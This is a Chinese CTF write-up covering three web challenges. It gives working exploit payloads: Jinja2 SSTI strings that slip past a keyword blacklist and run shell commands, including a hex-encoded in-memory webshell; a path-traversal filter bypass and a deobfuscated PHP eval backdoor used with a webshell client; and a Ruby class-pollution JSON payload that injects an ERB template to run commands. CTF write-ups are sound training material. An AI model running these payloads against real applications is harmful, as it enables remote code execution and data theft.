safe_proxy
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
|
from flask import Flask, request, render_template_string
import socket
import threading
import html
app = Flask(__name__)
@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>' + html.escape(f.read()) + '</pre>'
@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
print(black)
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'
class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port
def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break
if not request_data:
client_socket.close()
return
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)
response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk
header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data
response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body
client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()
def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")
try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()
def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)
if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000
# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()
print("Starting Flask app...")
run_flask_app()
|
无回显 ssti,有安全反代理,不出网,请求头回显也不能用
法 1
利用 flask 框架的 static 目录可以直接读的特点
1
2
3
|
mkdir staic
ls / > ./static/1.txt
cat /flag> ./static/1.txt
|
最终的 payload
1
|
{{lipsum['_''_globals_''_']['_''_builtins_''_']['_''_imp''ort_''_']('o''s')['pop''en']('cat /flag >./static/1.txt').read()}}
|

法 2
学弟的方法,app.py 也是可以直接写入的
法 3
胡哥的内存马,直接上 payload(16 进制绕过),我当时的老版内存马没有打通,貌似需要使用新版的
1
|
{{(url_for|attr('_' '_globals_' '_'))['_' '_builtins_' '_']['ev' 'al'](0x7379732e6d6f64756c65735b275f5f6d61696e5f5f275d2e5f5f646963745f5f5b27617070275d2e6265666f72655f726571756573745f66756e63732e73657464656661756c74284e6f6e652c205b5d292e617070656e64286c616d6264613a205f5f696d706f72745f5f28276f7327292e706f70656e285f5f696d706f72745f5f2827666c61736b27292e726571756573742e617267732e6765742827612729292e72656164282929.to_bytes(170,'big'))}}
|

hello_web
学弟写的 wp:
进入网页,f12 查看到两条注释
1
2
|
<!-- ../hackme.php -->
<!-- ./tips.php -->
|
尝试把 url 中的 ?file=hello.php 改为 ?file=../hackme.php 未果,加了几个 ../ 还是不行。
推测出 php 程序对输入的字符串做了处理,删掉了所有 ../
输入 ?file=..././hackme.php (在 ../ 中再多写一个 ../ 以避免被替换掉)得到如下代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<?php
highlight_file(__FILE__);
$lJbGIY = "eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv = "zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
# n1zb/ma5\vt0i28-pxuqy*6lrkdg9_ehcswo4+f37j
$lapUCm = urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst = $lapUCm{3} . $lapUCm{6} . $lapUCm{33} . $lapUCm{30};
$OxirhK = $lapUCm{33} . $lapUCm{10} . $lapUCm{24} . $lapUCm{10} . $lapUCm{24};
$YpAUWC = $OxirhK{0} . $lapUCm{18} . $lapUCm{3} . $OxirhK{0} . $OxirhK{1} . $lapUCm{24};
$rVkKjU = $lapUCm{7} . $lapUCm{13};
$YwzIst .= $lapUCm{22} . $lapUCm{36} . $lapUCm{29} . $lapUCm{26} . $lapUCm{30} . $lapUCm{32} . $lapUCm{35} . $lapUCm{26} . $lapUCm{30};
eval($YwzIst(
"JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="
));
?>
|
盲猜下面一坨字符串是 basae64 编码,解码之后得出
1
2
|
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
|
新版 php 不能用花括号访问字符串索引,于是找个旧版 php 跑一下,得到 $OxirhK 是 strtr,$YpAUWC 是 substr,$rVkKjU 是 52,合理推测 $YwzIst 是 base64_decode。
替换到解码的代码中,得出
1
|
eval('?>'.base64_decode(strtr(substr($uWcdaA,52*2),substr($uWcdaA,52,52),substr($uWcdaA,0,52))));
|
?><?php @eval($_POST['cmd_66.99']); ?>
使用 蚁剑 工具,url 输入(题目 url),密码为 cmd[66.99(非法字符串的传参问题,结合 tips.php 的 phpinfo 是 php7.4)。
https://blog.csdn.net/mochu7777777/article/details/115050295
连接之后打开终端发现一直爆 127 错误码,推测有函数被禁用。装载绕过 disabled_functions 的插件,运行。

find / -name flag* 拿到 flag。

ezruby
全场唯一解,胡哥 yyds,直接贴上 wp,我还没有完全消化
按照下文里的办法
https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
可以任意污染 Class(概率)中的属性
题目要求 RCE,再加上存在 erb 模板渲染,于是找到
https://github.com/sinatra/sinatra/blob/7b50a1bbb5324838908dfaa00ec53ad322673a29/lib/sinatra/base.rb#L903
其中的 Sinatra::Base::settings 绑定到全局的 class 而非 instance 上,刚好满足利用情况
注意这里还需要再在 Base 的子类里找到 JSONMergerApp,settings 才能生效
调试一下能发现,总共获取了两次 data,第一次是 hello,第二次 layout 刚好绕过 h 的黑名单
body 就是模板内容了,直接执行系统命令即可。
1
|
for i in {1..10000}; do curl -X POST -H "Content-Type: application/json" -d '{"class":{"superclass":{"superclass":{"subclasses":{"sample":{"subclasses":{"sample":{"settings":{"templates":{"layout":["<%= `ls -al /; cat /*flag*` %>","111",1]}}}}}}}}}}' http://ip:port/merge; done
|
若在一分钟内无法成功(概率),则可能需要重启容器继续尝试。